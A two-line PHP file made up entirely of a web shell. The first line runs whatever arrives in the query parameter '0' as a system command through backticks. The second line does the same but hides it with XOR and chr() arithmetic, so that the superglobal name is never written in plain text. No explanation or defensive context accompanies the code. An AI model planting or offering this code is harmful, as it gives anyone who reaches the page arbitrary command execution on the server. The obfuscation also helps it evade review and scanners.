<?php echo $_ = ""; $_ = "'"; $_ = "_GET"; $_ = $_GET['0']; echo `{$_}`;
<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>